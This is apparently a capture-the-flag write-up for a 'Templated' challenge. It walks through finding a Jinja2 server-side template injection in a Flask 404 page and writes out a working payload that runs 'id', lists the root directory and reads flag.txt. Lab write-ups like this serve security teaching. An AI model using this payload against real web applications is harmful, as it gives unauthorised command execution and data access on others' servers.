Navigating to the website simply displays a message "Site still under construction / Proudly powered by Flask/Jinja2." The challenge is called "Templated" and Jinja2 is used so this is a Jinja2 template injection.

Trying to go to a different page, like /test, displays an interesting 404 error "Error 404 / The page 'test' could not be found." Trying other pages shows that we have control over the output 'test' on the 404 page.

Let's try the standard server-side template injection (SSTI): {{7*7}}. Navigating to /{{7*7}} displays "The page '49' could not be found". So, the url is vulnerable.

We can find an SSTI payload from swisskyrepo/PayloadsAllTheThings. For instance, {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} allows us to execute arbitrary commands.

Navigating to /{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read() }} displays the contents of the / directory: "The page 'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ' could not be found."

So, let's not cat flag.txt by going to /{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}. This displays the flag:


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